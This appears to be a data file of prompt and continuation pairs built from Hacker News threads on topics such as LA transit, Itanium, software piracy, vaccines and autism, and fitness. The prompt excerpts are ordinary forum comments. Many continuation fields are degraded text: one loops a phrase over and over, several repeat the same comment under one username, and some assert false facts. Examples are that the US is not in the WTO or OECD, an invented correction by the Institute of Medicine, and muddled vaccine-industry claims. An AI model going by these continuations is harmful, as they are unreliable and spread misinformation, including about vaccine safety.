agreements.\n\n~~~\nhardik988\nThanks. That clarifies it up a bit. So could this summit result in a real\nthreat to net neutrality?\n\n~~~\nwyck\nThe summit can result in more then net neutrality threats, it includes\ncensorship, monitoring, archiving and usage regulations. The ITU comprises of\n193 countries and over 700 private-sector entities. It has become more\ntransparent due to public outcry, but who knows what is discussed over dinner\n( aka there is a lot of money and control being looked over as though it's a\nmap to the new world).\n\n------\njrockway\nI can't help but wonder why they didn't try this 20 years ago. As it stands\nnow, it seems hopelessly out of touch with reality. Why would people start\npaying more for online services when the price of everything tends to decrease\nover time? And why do governments think that the big internet companies are\ngoing to pay for this? They have shareholders too, after all.\n\n~~~\nderleth\n> I can't help but wonder why they didn't try this 20 years ago.\n\n20 years ago, nobody cared about the few, the unusual, the networked. 15 years\nago, people damned well did care, but everyone was in 'run in circles, scream\nand shout' mode and business plans were more-or-less optional. 10 years ago it\nwas definitively too late. Does that"} +{"output_text": "orphous personality that changes depending on the environment. I have a\nhistory of being a very aggressive person, but I have managed to change that\ntrait over the years. I have always been a very aggressive person, but I have\nmanaged to keep that trait hidden from others.\n\nI have always been very good at changing my personality to suit the situation.\nI have been in many different situations in my life, and I have managed to\nchange my personality to suit each of them", "input_text": "oking conversation, and talk intelligently about many fields.\n\nThe lesson? Some people are so good at compartmentalizing that they leave\ntheir intelligence in another box.\n\n~~~\npjc50\nThat sounds more into the range of a severe anxiety disorder, \"dissociation\"\nrather than compartmentalisation.\n\n------\nchrisco255\nBe wary of your own self-delusions. Sometimes they might be useful. Other\ntimes, they might be detrimental.\n\n~~~\nimesh\nBut what if it's your self-delusion making you think your non-delusion is a\ndelusion?\n\n~~~\nshoo\nin that case, remain wary\n\n------\nthunderbong\nI find sometimes it's easy to be myself\n\nSometimes I find it's better to be somebody else\n\n\\- Dave Matthews Band - So much to say\n\n------\nvbuwivbiu\nnot only that, but all perception is a constructive process based on\npredictions according to multiple competing models which run in parallel of\nwhich we are only aware of a few at most. As such, other people have no single\nor objective perception of us either.\n\n------\np2detar\n_But what is selected as a personal memory also needs to fit the current idea\nthat we have of ourselves. Let\u2019s suppose you have always been a very kind\nperson, but after a very distressing experience you have developed a strong\naggressive trait that now suits you. Not only has your behaviour changed, your\npersonal narrative has too. If you are now asked to describe yourself, you\nmight include past events previously omitted from your narrative \u2013 for\nexample, instances in which you acted aggressively._\n\nI have been pondering on a similar question for some time now. I have an\nam"} +{"output_text": "FM?\n\n~~~\nJdeBP\nBecause the original poster said \"Until you can name at least one common current\nterminal emulator that does not respond to DSR 6\".\n\n~~~\nkazinator\nAh, my bad.\n\n------\njancsika\n> The problem is that the terminal emulator is not smart enough to know that\n> you are trying to send a command to it.\n\nI think this is a bit of a red her", "input_text": " other comment: Both.\n\nIt's vomit-inducingly beautiful.\n\n------\nkazinator\nInterrogating the terminal emulator to get the current column is in fact a way\nsmarter, more robust solution that will work regardless of the terminal's\nbehavior when printing at the rightmost column. Also, fewer characters are\nexchanged with the TTY in the happy case.\n\nProof of concept, using Bash on Ubuntu 18.04:\n\nDefine this function:\n\n \n \n getcol()\n {\n local savetty=$(stty -g < /dev/tty)\n local ttyesp\n stty raw min 16 time 100 < /dev/tty\n printf '\\e[6n' > /dev/tty\n read -s -r -n 16 -d R ttyresp < /dev/tty\n stty $savetty < /dev/tty\n printf \"%s\\n\" ${ttyresp#*;}\n }\n \n\nThen this PS1 for testing:\n\n \n \n PS1='$(if [ $(getcol)!= 1 ]; then echo '[noeol]' > /dev/tty; fi)\\$ '\n \n\nTest:\n\n \n \n $ echo good output\n good output\n $ echo -n bad output\n bad output[noeol]\n $ echo -n # no output case\n $\n \n\nWFM\n\n~~~\nJdeBP\nUntil you can name at least one common current terminal emulator that does not\nrespond to DSR 6, you have not tested this enough. (-:\n\n~~~\nkazinator\nWhy would I search for a situation that's going to be a definite W"} +{"output_text": " for comfort, not\nfear. I was in a private room, with a private bathroom, with a private\nlocker/storage area for my belongings, with a quiet, private room with\nheadphones to listen to music or whatever. I didn't have to get up, walk\nanywhere, or deal with other people.\n\nEven more fortunately, my experience was not typical. I've heard horror stories\nfrom other patients, but I've also had many positive experiences", "input_text": " out bed, private\nbathroom with shower, etc. The nurses seemed to actually give thought to their\nschedule and when to do vitals and meds. They also leaned on technology a bit\nmore and had remote o2 and heart rate sensors, so they didn\u2019t need to take as\nmany vitals.\n\nThe facilities made a bit of a difference in our experiences, but above all\nthe nursing staff had the biggest impact. Highly skilled nurses that aren\u2019t\nover staffed seemed to be key.\n\n------\ndeanclatworthy\nOf course YMMV.\n\nHaving spent two spells recently in hospital after surgery, it didn\u2019t bother\nme in the slightest being woken for 30s every few hours. Usually it coincided\nwith me being brought painkillers, water and snacks. All of which were\nwelcome.\n\nThere was also no issue regarding beeps in the post operative care unit that I\nremember. I was also given my personal belongings, as soon as I was able to\nstructure a coherent sentence, which included headphones.\n\nSimilarly to other commenters, I should point out you might not be so quick to\nuse technology to solve this problem. Implementing technology into an area\nwhere lives are at risk (ICU) takes a long time - with good reason. I saw a\ncomment talking about a centralised monitoring desk. Good luck finding a ward\nwhere you are always staffed enough to have someone watching that. There is a\ngood reason sounds have remained as the primary monitoring cue for so many\nyears.\n\n------\ntempestn\nA million times this. Fortunately my only adult experiences overnight in a\nhospital were for the births of my children, but I was amazed in exactly the\nsame way as the author here at how the place seemed designed"} +{"output_text": " and what will happen next.\n\n------\njelliclesfarm\nI lived in San Francisco in the 90s. I remember the buses being full and the\nstreetcars full. It was a transit system that worked.\n\nI'm not sure what the solution is. I think that the Bay Area has been\nexploiting transit. I think that the Bay Area has been exploiting transit\nusers. I think that the Bay Area has been exploiting transit's potential.\n\n", "input_text": " the distance, bus for the last mile.\n\n~~~\nwaterlesscloud\nThere was an interesting study recently showing that population density in LA\nis still greatest along the long-vanished streetcar lines.\n\nIt's also worth noting the streetcar lines were built specifically to serve\nland development goals, so they drove the development in the first place, not\nthe other way around. In a way, streetcars _caused_ the sprawl of Los Angeles.\n\n[http://www.zocalopublicsquare.org/2014/09/23/long-dead-\nstree...](http://www.zocalopublicsquare.org/2014/09/23/long-dead-streetcars-\nstill-shape-l-a-neighborhoods/chronicles/who-we-were/)\n\n------\nistvan__\nI just would like to contribute one picture of this threa. It is from\n[http://upload.wikimedia.org/wikipedia/commons/f/fb/Pacific-E...](http://upload.wikimedia.org/wikipedia/commons/f/fb/Pacific-\nElectric-Red-Cars-Awaiting-Destruction.gif)\n\nMore here:\n[http://en.wikipedia.org/wiki/General_Motors_streetcar_conspi...](http://en.wikipedia.org/wiki/General_Motors_streetcar_conspiracy)\n\nI don't think that the politicians in charge changed that much since the 60s\nto let a green LA happen.\n\n~~~\nanthonyarroyo\nA wikipedia page whose neutrality is disputed?\n\n~~~\nistvan__\nYes, so any time you go there you can follow what is happening, eventually\nthere will a consensus what happened"} +{"output_text": "_ have been embarrassing was not getting bought by Intel. That\nwould have been a clear signal that the market was not interested.\n\n~~~\ngumby\nThanks for the detailed reply.\n\nI'm not sure I follow your argument that the Itanium was doomed from the\nstart. It was a very ambitious project, but it was also one that Intel had\nthe resources to pull off. It was a big risk, but it was also a big reward.\n\nIt", "input_text": "\u2019re wasting your life. And how\nmany people at some of those big SV companies are mostly just working on ad\ntech?\n\n~~~\ngumby\nTrue, my point is that itanium itself was a laughingstock, and clearly with no\nfuture, so must have been embarrassing to talk to your friends about what you\ndo for work.\n\nMaking spare parts for the B-52, or maintaining security fixes for Solaris\n(which has its fanatic fans) can be rewarding, no question. But to work on the\nItanium any time in the last decade must have been soul-sucking.\n\n~~~\nachiang\nI was an HP-UX kernel engineer from 2002 til 2005, a brief interlude writing\nIA64 CPU diagnostics, and then and a Linux kernel engineer from 2007 til 2010,\nall on Itanium systems.\n\nIn that time frame, it wasn't clear that horizontal scale out architecture\n(aka \"the cloud\") was going to dominate, and that scale up systems were going\nthe way of the mainframe. The thinking was that there would always be a\nhealthy balance of scale out vs scale up, and btw, HP alone did $30B+ revenue\nyearly on scale up with very slow decline, just like the mainframe market,\nwhich is still $10B+, even today.\n\nTo put that in today's terms, if you pitched a startup with a $30B TAM, VCs\nwill definitely be returning your emails.\n\nSo no, it wasn't embarrassing to talk about working on IPF any moreso than it\nwould be to talk about POWER today. It's just another CPU architecture with\nsome interesting properties but ultimately failed in the market place. Just\nlike Transmeta or Lisp Machines.\n\nWhat _should"} +{"output_text": "the people they have trained up to snuff.\n\n------\nthrowawaysea\nThe US has a history of ignoring international agreements and treaties. The\nWTO is a treaty, and the US is not a signatory to it. The US is also not a\nmember of the OECD, which has similar agreements with the US. The US is also\nnot a signatory to the UN Convention on the Law of the Sea, which governs\naccess to the Pacific Ocean.\n", "input_text": "cannot accomplish on their own, they can certainly invest in - whether it is\npurchasing PPE or hiring loggers.\n\n~~~\nfalcolas\nAnd if that state can\u2019t, for one of a hundred reasons, respond appropriately,\nthe effects are not limited to that state.\n\nFor the pandemic, people traveling into, out of, or through the state will\nspread it to surrounding states (Florida is one great example of how a state\nnot responding appropriately has broader impacts on the nation).\n\nFor wildfires, fire knows no state boundaries, and smoke is even more\npromiscuous in its spread.\n\n~~~\nusername90\nEurope manage to handle those things just fine and local politics is very\ndecoupled from EU politics. Why wouldn't states be allowed to close borders\nunder emergencies?\n\n~~~\nfalcolas\nBecause a state is not a country. It doesn't have a military, border patrol,\nnational guard, etc. That is to say, it doesn't have the manpower. And it\ncould - practically speaking - never raise the money to do so (states have\nenough trouble paying their teachers, sanitation workers, paving roads, etc).\n\n~~~\nthrowawaysea\nThey have trouble paying for everything that\u2019s on their wish list but that\u2019s\ntrue of individuals and the federal government as well. A state COULD have\nthose things, especially if their taxpayers gave up less in federal taxes\nsince the federal government would have fewer responsibilities. Not sure how\nthis changes things.\n\n~~~\nfalcolas\nBut if a state has sufficient personnel to handle an emergency (say a tornado\nstrike on a town), they have too much personnel the rest of the time. Whereas,\nwith a governmental entity, they can go from emergency to emergency, keeping\n"} +{"output_text": "~~~\nmehrzad\nI get that, but I don't understand how dense areas of LA City are going to\ndrive the development of public transit. I understand that it will attract\npeople who want to live in a walkable neighborhood, but I don't see how it's\ngoing to attract people who live in LA County and need to commute.\n\n~~~\neclipxe\nIt's going to attract people who want to live in a walkable neighborhood, but\n", "input_text": " utility removal) began 2 years ago. Construction on\nthe Airport Spur and a line connecting the Expo and Purple line (extension)\nhas already begun. This time next year, construction will have begun on the\n_next_ extension of the Gold line, heading for the eastmost reaches of LA\nCounty. (By the way...the Red and Purple lines run every 7 minutes during busy\nhours, the Blue and Expo lines run every 10. Only the Gold line runs every 12\nminutes or less.\n\nCivlavia is held multiple times a year. LA does have more bike lanes than any\nother city...but LA is also geographically one of the largest cities in the\nworld, so the _density_ of bike lanes is poor.\n\nThere is real change in LA, and they're definitely not photo ops.\n\n------\nmehrzad\nAs a native and lover of LA (currently in NYC), I've been enjoying all the\npress we've been getting recently. But as I skim this article, I'm confused.\nLA has massive urban sprawl. LA County is very, very vast in area, and many\npeople live 1-2 hours by car (without traffic) away from their work. How is\npublic transportation going to get so good that this car-dependence will go\naway? I'm all for it, I hate cars. The subway system in New York is great, but\nnot including metro areas, LA is quite a bit larger in area.\n\n~~~\neclipxe\nIt won't, ever. And that's okay. LA County won't be served by an awesome\nnetwork of public transit, but if investments continue into dense areas of LA\nCity you should see market forces at work -> public transit availability\ndriving higher density development, driving more desire for public transit.\n\n"} +{"output_text": " harder to compare.\n\n~~~\njcl\nI think the metric is actually \"percentage of software that was pirated that\nwas purchased\". So, for example, if 10% of all software sold was pirated, then\nthe publisher would be expected to see a 10% piracy rate.\n\n------\nsant0sk1\nI think the real problem is that the software industry is not held to the\nsame standards as other industries. For example, if a", "input_text": " that depending on how many copies I sell. The 20%\nrate only kicks in after about 25,000 copies or so and few programming books\ndo that well (my first edition sold just under 10,000), so effectively I get\naround $1.80-$2.50 a copy.\n\n------\npaul9290\nYou have to compete with piracy by offering premium levels of service one\nwhere it requires your users to pay to connect to your server to say play\nagainst others across the world and other things that require a server\nconnection.\n\nSure they might try to break into your server, but less will do that and that\nis more illegal and punishable by law at least in the states.\n\nPiracy made hollywood and music biz innovate we should be no different.\n\n------\nbestes\nHow are people cracking and using cracked applications on the iPhone? Am I\njust living in the dark by using the App Store and clicking \"Install\"?\n\n~~~\nkingsley_20\nI don't get it either. My guess is that people install a cracked version\nthrough Cydia to use on a jailbroken iPhone. I'd love to have this confirmed\nthough.\n\n~~~\njawngee\nYou can't install cracked stuff through Cydia, you have to use something like\ninstallous via hackulo.us.\n\n------\nxsmasher\n\"Piracy rate\" doesn't seem like a useful metric; it's too dependent on your\nsales. I'd rather see sales numbers and piracy numbers.\n\nIf you sell 10 and have 10 pirates, that's a 50% piracy rate. If you sell 1000\nand have 10 pirates (same number of pirates) that's only 1% piracy rate. The\nratio is less useful and"} +{"output_text": "-kadison-singer-math-\nproves-theories-are-often-wrong-and-some-are-dangerous/;)\n\n~~~\nAnimalMuppet\nI'm not sure that I follow. The point of the \"bunk\" story was that it showed\nthat people can believe things that are demonstrably wrong. That's not\nvalidating those beliefs - it's just showing that they're not necessarily\nvalid.\n\nThe", "input_text": "\nIt similar to the bogus _fair and balanced_ media argument. News reporting is\nabout reporting the facts _as they lead logically_ so that if anyone would\nperform the work of the journalist they would arrive at _similar conclusions_\nregardless of their perspective or polity. It's very much like the scientific\nmethod. Focusing on opinion diversity is a red herring.\n\n~~~\nfrotak\nYou're missing the thrust of the argument entirely.\n\nThe author does not advocate validating factually invalid statements - see his\nanecdote in the second article linked in GP regarding \"whether or not the\neconomic collapse was caused by poor black people\":\n\n\"I gave a quick response about how most experts would disagree with that\nassumption, that it was actually an oversimplification, and pretty dishonest,\nand isn't it good that someone made the video we just watched to try to clear\nthings up? And, hey, let's talk about whether that was effective, okay? If you\ndon't think it was, how could it have been?\"\n\nIn other words - in the case of \"bunk\" it can be summarily dismissed with a\nproper basis. Which is entirely different from vilifying and personally\nattacking a person for their beliefs or thoughts which are doing no actual\nharm to anyone else. People can have bogus ideas and those bogus ideas can be\ncompletely harmless no matter how much you might find them distasteful.\n\nViewpoint diversity is entirely about bringing different perspectives and\nexperiences to bear on a subject.\n\nIt works in the hard sciences:\n[https://www.quantamagazine.org/20151124-kadison-singer-\nmath-...](https://www.quantamagazine.org/20151124"} +{"output_text": "\nI like the idea, and I'm curious if it would help. I have a hard time\nconcentrating on anything when I have a list of things I want to do the next\nday in my head.\n\n------\nmatt_wulfeck\nI wish there was an app like this for my code. I have a ton of shit I need to\ndo, but I can't remember the specifics.\n\n------\nmatt_wulfeck", "input_text": "astination.\n\n------\nshennyg\nI agree that automatically carrying over todo's to the next day is a bad idea.\nYou need to be able to trust your todo tracker. It would be helpful to have\nsome sort of history/log of your tasks just in case you need it.\n\nIt reminds me of [https://complice.co/](https://complice.co/) each day you\nneed to put in your new tasks __but __you get to review yesterday's\nincomplete items and pull them in. It has a lot of smarts built in and tell\nyou you've pulled in the same task day after day and suggests you split it\ninto smaller pieces.\n\nNice job shipping aswinmohanme!\n\n------\nwruza\nAnother cool idea is to have an app that records your todos with check marks\nand posts doge memes at the end of the day on your twitter.\n\n\u201cI was going to study convolutional neural networks today @ but instead bought\nmilk\u201d.\n\n------\nharryf\nNice use of \"behavioural economics\"\n\n~~~\ntw1010\nDid you mean \"psychology\"?\n\n------\nronreiter\nI just write my todos on toilet paper and wipe my ass with it\n\n------\nhmhrex\nAsking honestly, what would be the benefit of this?\n\n~~~\nblocked_again\nDoes it make a difference if you were asking it dishonestly?\n\n~~~\nhmhrex\nI guess I should have clarified, I didn't want to sound snarky while asking\nwhat the benefit would be, I'm actually curious.\n\n~~~\ngnclmorais\nYou mean\u2026 the benefit of a to-do list? Asking honestly.\n\n------\nJeaye"} +{"output_text": "page with no content.\n\n~~~\njzwinck\nI had the same experience. It's a PDF.\n\n------\njzwinck\nI was surprised to see that Google Fiber is still around. I had heard that the\ncompany was defunct, but I had heard that before the press coverage of the\ncompany became a media sensation.\n\n------\njzwinck\nI was surprised to see that Google Fiber is still around. I had heard that", "input_text": "For a local news source: [https://www.wdrb.com/news/belknap-neighborhood-\nresidents-con...](https://www.wdrb.com/news/belknap-neighborhood-residents-\nconcerned-over-sloppy-installation-of-high-\nspeed/article_4bc2a61e-8640-57f0-aba9-3dd4cb3d39e5.html)\n\nHere's an article proclaiming that this is how Google would \"outbuild their\nrivals\": [https://www.techrepublic.com/pictures/photos-how-google-\nfibe...](https://www.techrepublic.com/pictures/photos-how-google-fiber-is-\nusing-shallow-trenching-to-outbuild-its-gigabit-rivals/18/)\n\nI cannot possibly oversell just how terrible the work was here. Yes, that is\nindeed a fiber optic cable two inches under a city street, covered only by\nexpanding foam rubber. Yes, someone really did think \"yeah, this'll be just\nfine.\"\n\n------\nitronitron\nGoogle Fiber has suffered from a lack of imagination, or just good ole' plain\nmarket analysis, in figuring out how to roll out fiber to larger areas around\ntheir 'fiber cities'. Google Fiber in Austin is limited to a very small area\nwhich oddly enough is probably not where most of the residential demand is.\nSomehow I doubt that they ever asked homeowners what they would be willing to\npay for a fiber connection.\n\n------\njanvdberg\nWhat was the problem? When I click the \"encountered challenges\" link I get a\n"} +{"output_text": "\nopen attitude to jobs, and never be afraid to move for a better one.\n\n------\njason_s\nI am a full-time developer with over 10 years experience. I have been on a\nstrike since November. I have been looking for work for the last 6 months.\n\nI am not willing to work for $2-3 per hour. I am willing to work for $15-20\nper hour. I am willing to work for $30", "input_text": " until a new person is hired.\n\n------\nlkrubner\n\"you\u2019ll earn the job-hopper label\"\n\nWhat? In the year 2012? I assume this is being written about the USA? His\ncomment seems to come straight out of the 1980s. I remember my parents telling\nme stuff like this when I was a kid. But what is the actual reality in 2012?\nMany companies are afraid to hire and ask that people work some sort of trial\nperiod. If you do programming, most companies in New York will offer you a 90\nday contract, and see if you work out. If you want to get into editorial work,\na lot of magazines are insisting that you work an internship first.\n\nThe unwillingness of companies to commit to people means it is only fair if\npeople are unwilling to commit to companies.\n\nBesides all that, during the last 12 years I have not worked anywhere\ncontinuously for more than 18 months. I'm still flooded with offers. I suppose\nworking for small, new firms is different than working from large ones, but\nI've worked for some large ones as well.\n\nI do not doubt that there are still some large, conservative organizations in\nthe USA that still are worried about \"job hoppers\" but clearly the era where\nthis was a predominate concern is now several decades in the past.\n\n------\njonathanconway\nThis is complete rubbish. Take a look at my LinkedIn profile:\nlinkedin.com/in/jonathanconway.\n\nVirtually nothing but 3/7/12-month stints.\n\nI'm now making more money (and having more fun!) than ever before in my\ncareer!\n\nThe key is to keep your skills fresh and relevant to the job market, have an"} +{"output_text": "~~~\nmatt_wulfeck\nI'd like to know the effects of 5G radiation, but I'd rather not get cancer.\n\n~~~\nfenglida\nSame here. I'd rather not get cancer.\n\n------\nmatt_wulfeck\nI'd like to know the effects of 5G radiation, but I'd rather not get cancer.\n\n~~~\nmatt_wulfeck\nWhy the downvote?\n\n", "input_text": "significant exposure.\n\n~~~\nmicrocolonel\n> _That seems like a terrible idea because people forget why useful\n> regulations were needed._\n\nTo me that seems to indicate that we need to keep a record of why laws are\nmade, so that the case is simply ready to be made when the sun is due to set.\n\n~~~\nthaumasiotes\n> To me that seems to indicate that we need to keep a record of why laws are\n> made\n\nWhether and why a practice is useful generally has little or nothing to do\nwith people's understanding of whether and why it is useful. The arguments\npeople advance for everything, including valuable things, are almost uniformly\nnonsense and easy to disprove.\n\nSo, a record of why laws are made wouldn't really serve any purpose.\n\n~~~\nstuaxo\nLaws should be measured against the reasons they were created.\n\n~~~\nthaumasiotes\nIf you start doing a good thing for a bad reason, you should stop?\n\n------\nspraak\nReminds me of the gleeful use of DDT as well. It's a common pattern.\n\n~~~\ncrdotson\nProbably a bad example. A lot more people died from malaria than would ever\nhave been harmed by DDT.\n\n~~~\nUser23\nMost people have no idea malaria was endemic in the USA as far north as New\nYork State. The advantage of the DDT saturation was that it wiped out the\ndisease reservoir completely, precisely because it persisted in the\nenvironment. Modern \"responsible\" DDT usage (treated nets, wall spraying, etc)\nis just breeding resistant mosquitoes.\n\n------\nfenglida\nHow long until will it be until we find out the effects of 5G radiation?\n\n"} +{"output_text": " post more interesting\npictures on my social media.\n\n~~~\nsoneca\nThat's a good point. I'm not sure I understand the problem you are trying to\nsolve.\n\nYou are using a ML-based social platform, where the algorithms learn a user's\ntastes.\n\nBut you are not using it for anything?\n\nI understand that you are trying to solve a chicken and egg problem. But if\nyou are not using it", "input_text": "\nThat, and Show HN her is great. Reddit has /r/startups which I also think is\nsupportive and helpful.\n\n~~~\naugustflanagan\nI completely agree with this. My co-founder had a post[0] on HN yesterday in\nwhich he mentioned that our MVP made him cringe.\n\nWhat he didn't mention is that that cringeworthy MVP was public for almost two\nmonths before we started showing it to people. It was out there with broken\nfeatures, placeholder text, etc.\n\nThat made shippin easy. It was done on day 1 and then we were very motivated\nto make it actually do something useful since it was already public.\n\n[0]\n[https://news.ycombinator.com/item?id=13347307](https://news.ycombinator.com/item?id=13347307)\n\n------\nsoneca\nNormal yes, not much beneficial. I dont have this problem at all (take a look\nat my long list of Show HN of all kinds, including several very poor half-\nbaked things that I'm not that proud of), so I dont think I can give any\nempathically useful advice. But I would love to know, what are you building?\n\n(Who knows, maybe it does indeed requires a longer gestation period).\n\n~~~\nfratlas\nML-based social platform where the algorithms learn a user's tastes. Limited\nto images, it's somewhere between Tumblr/VSCO/Pinterest/IG. It works for me,\nand my girlfriend loves using it, but the problem is she always wants to\nexport her chosen images back to another platform for posting. I sense it will\nbe a chicken and the egg problem. Was mostly so I could"} +{"output_text": "rely on the results of any study that is funded by the vaccine industry.\nBecause the vaccine industry has a vested interest in finding a cause for\nvaccine-induced autism, and a reason to continue to make and sell vaccines,\nany study that might find a cause for vaccines will be funded by the vaccine\nindustry. This is a basic ethical principle, and it is why we cannot rely on\nany study that is funded by the vaccine industry. It is why we cannot rely on", "input_text": "\nI think he means, from the anti-evidentiary viewpoint of the conspiracy nuts.\n\n------\nprbuckley\nI thought that the theory for linking vaccines to autism had to do with the\nuse of methylmercury as a preservative. Methylmercury is a known neurological\ntoxin, here is a great resource...\n\n[http://www.fda.gov/BiologicsBloodVaccines/SafetyAvailability...](http://www.fda.gov/BiologicsBloodVaccines/SafetyAvailability/VaccineSafety/ucm096228.htm)\n\nThe fact that this article brings up the fact that Wakefield had a patent in\nthe same area as his research seems fishy to me.\n\n\"The panel resurrected and upheld most, if not all, of the main charges\nagainst Wakefield, such as his undeclared conflict of interest in having filed\na patent relating to treatments for bowel conditions a year before his Lancet\nstudy appeared. \"The panel therefore rejects the proposition put forward by\nyour [Wakefield's] counsel that third-party perceived conflicts of interest\ndid not fall within the relevant definition at the time,\" it concludes.\"\n\nI used to be a research scientist and it was common place for researchers (or\ntheir institutions) to file patents on research that led to publications. No\none I know ever listed this sort of thing as a conflict of interest. It sounds\nlike this counsel might be reaching to try and discredit Dr. Wakefield.\n\nSadly their is more politics in science than most people want to believe.\n\n~~~\ntokenadult\n\n\n\"Regarding the question of vaccines and autism, for ethical reasons we cannot\n"} +{"output_text": " missing. I don't\nknow what it was, but it was something that made the game much more\ncompelling.\n\nI had a lot of fun with it, but I don't think I would ever consider it a\nrecommendation to play it. It's buggy, it's unfinished, and it's not\nconsistent. I had to restart a few times because the game crashed.\n\n------\njokoon\nI wonder if it would be possible to make", "input_text": "02/dolphin-progress-\nrep...](https://dolphin-emu.org/blog/2017/10/02/dolphin-progress-report-\nseptember-2017/)\n\n------\nsatuim\nAn amazing project, My only criticism is the scaling, playing in 1080p makes\nthe UI really small, it does have scaling in the options but 1.5 uses\nantialiasing and kinda ruins the pixel graphics.\n\nOtherwise the best way to play this. I'm pretty sure you can also import\ncertain elements from RCT1 if you have it.\n\n------\nSintendo\nI continue to wonder whether this can be legal at all. It's pretty clear\nthey've been looking at the disassembled code, so it's not clean-room reverse-\nengineered.\n\n------\ncmpb\nAnyone interested in this may also be interested to know that there is a\npretty thriving subreddit for RollerCoaster Tycoon:\n[https://www.reddit.com/r/rct/](https://www.reddit.com/r/rct/)\n\n------\nPLenz\nAs a lover of the original I wish this project has the same success OpenTTD\nhas had.\n\n------\nsqueaky-clean\nI've never played this but have been aware of it for a while. Judging from the\nReadme it sounds fairly complete? Like I could play out a full scenario in\nthis without missing features or crashing?\n\n~~~\nlucb1e\nI also head of it for a while before I gave it a spin. I finally got around to\nit about 6 months ago.\n\nThe game works really well. I don't remember noticing that anything was still\nmissing in singleplayer. Multiplayer... there was something"} +{"output_text": " not training, in the\nphysical shape I am. I have tried to train with weights on the floor, on the\nwall, on the bars, on the floor and the wall, on the bars and the floor, on\nthe floor and the wall, on the bars and the floor and the wall, on the bars\nand the floor and the wall and the floor and the wall and the floor and the\nwall and the floor and the wall and the floor and the wall and the", "input_text": " internet\njackass, but I just can't not respond to that.\n\nI'm an athlete first, and a technology worker second. And what you just said\n(\"better to... use a machine that isolates... while not straining unrelated\nmuscles\") is the fitness equivalent of something that would be a top post on\nThe Daily WTF.\n\nThat is almost exactly the wrong idea. I mean, so precisely opposite of\ncorrect information that I hope you didn't write that as a joke and I'm not\ngetting it.\n\nThe only time isolation movements make sense is if you're already a very\ncompetitive bodybuilder who walks around with hundreds of pounds of lean\nmuscle mass. Otherwise, isolation movements (especially when performed on\nmachines rather than with free weights) are a genuinely terrible idea. At\nabsolute _best_ they will make you gain muscle and lose weight vastly more\nslowly than you could. Most likely, they'll make you wind up with a chronic\ninjury.\n\nPlease, please, please don't go to the gym and work on machines. Do compound\nmovements instead. If you're interested in making physical improvements, go\npick up Starting Strength. It's $30 and the author is an absolute genius.\n\n[That was officially my first flame. I feel so hollow inside...]\n\n~~~\njohnyzee\nPush-ups give me a headache. I don't know if its the blood rushing to the head\nor the neck tension, but they are uncomfortable for me for reasons that have\nnothing to do with the actual excercise. Same thing for pull-ups, sit-ups or\nwhatchamacallit.\n\nMachines are comfortable while still maxing out my muscle capacity. They are\nthe sole reason that I am now, after many years of"} +{"output_text": "\nautism-vaccine-autism link hypothesis, to state that the study was a\n\u201ccomplete failure.\u201d\n\nThe Institute of Medicine\u2019s 2004 report concluded that \u201cthe weight of the\nevidence does not support a causal relationship between thimerosal-containing\nvaccines and an increased risk of autism.\u201d The report was heavily criticized\nfor this conclusion, and the Institute was forced to issue a correction to\nclarify that the conclusion was not based on the weight of the", "input_text": " (or are even merely a significant\ncontributing factor), we would expect that the removal of thimerosal from\nvaccines would lead to a rapid decrease in autism incidence and prevalence\nwithin 2-5 years.\n\n\"There have now been several studies that examined this very hypothesis in\ncountries that removed thimerosal from their vaccines before the U.S. did. For\nexample Hviid et al3 reported that autism prevalence in Denmark increased from\n1991 to 1996 despite the removal of thimerosal from vaccines, while Madsen et\nal4 looked at the time period from 1971 to 2000 and concluded that autism\ndiagnoses continued to increase after thimerosal was removed from vaccines.\nNeither study supported a causal link between TCVs and autism, and they were a\nprominent part of the dataset that was used by the Institute of Medicine to\nconclude in 2004 that there was no good evidence to support a link between\nTCVs and autism. A more recent study by Eric Fombonne5 in Montreal examined\n27,749 children born from 1987 to 1998 attending 55 different schools.\nCumulative thimerosal exposure by age 2 years was calculated for the 1987-1998\nbirth cohorts. This exposure ranged from 100-125 \u03bcg from 1987 to 1991, 200-225\n\u03bcg from 1992 to 1995, and then none after 1996, which was when thimerosal was\ncompletely removed from vaccines in Canada. The result was that autism, ASD,\nand pervasive developmental disorder diagnoses continued to increase in all\nperiods, demonstrating no relationship between TCVs and autism or ASDs. Even\nmore recently, a large study6 failed to support a relationship between\nthimerosal and adverse neurodevelopmental outcomes, a result that led one of\nthe investigators in the study, Sallie Bernard, a proponent of the"} +{"output_text": " to download.\n\nThis is a nice solution, but it is not very dynamic. It assumes that the\ndownload will happen. If you change your mind, you have to do the 2nd step.\n\nWhat I would really like is a dynamic \"download this file now, but if it is\nmodified in the last N minutes, download again\".\n\nI have not found a good solution for this.\n\n~~~\nmichaelmior\nI don't understand why you", "input_text": " will be much faster there.\n\n~~~\npmtarantino\nThat's my opinion too. I worked in two different jobs in the last years. One\nof them was in company A, which I always wanted to be part of. The salary was\nnot amazing (in fact, after of some talk with friends, it was low), but I was\nhappy. Then, I worked in company B. The salary was superb, it was higher than\naverage, but I was not happy. That was not what I wanted. I quit.\n\n------\nlsiebert\nask for offer in writing, explain why, and that you'd prefer A, see if they\nare open to matching B's offer. If so, you might want to take their initial\noffer to B.\n\nGet B's offer in writing and go to A. Tell A if they match it, you'll work for\nthem.\n\nDo so, that is, if they match B's offer, work for A. Explain to B, but invite\nthem to contact you sometime in the future to see if you are happy at A. Use\nB's contact to either move to B if A isn't great or to negotiate from position\nfrom strength at A.\n\nBut work at A to start with.\n\n \nDownloading a file regularly - how hard can it be? - joeyespo\nhttps://adblockplus.org/blog/downloading-a-file-regularly-how-hard-can-it-be\n======\nsophacles\nA common solution to this problem, is to make a 2 stage process, where step 1\nis a request of \"should I download?\", where there are 2 possible replies: \"no,\ncheck again in N time\" and \"yes, here is a token\". Step 2 is"} +{"output_text": " something like that. It is\nsecure and easy to use. It is not open source, but it is easy to use. You can\nget a free public IP address and run it on that.'\n\nworld says: 'I don't want to run on Heroku. I want to run on my own hardware.\nI don't want to run OpenBSD. I want to run Linux.'\n\ndrudru says: 'Well, you can run Linux on your own hardware", "input_text": "\nrecent HN post from dadgum.com about C's most powerful operator being\n'switch'. This is well known. However, maybe there are 17 or 15 year olds who\nlurk HN. In order for them to learn, they should be exposed to that knowledge.\n\nSo, while we are trying to help one another, here is some advice. One _really\ngood_ way to run sshd securely is to use a different operating system other\nthan Linux. This isn't because Linux is bad, it is just that certain decisions\nwere made that will not change. People might extrapolate what I just said too\nfar. Let me illustrate this as a conversation for entertainment.\n\nworld says: 'drudru just said don't run linux anywhere'\n\ndrudru says: 'Nope. What I'm saying is if you need high security, yet open 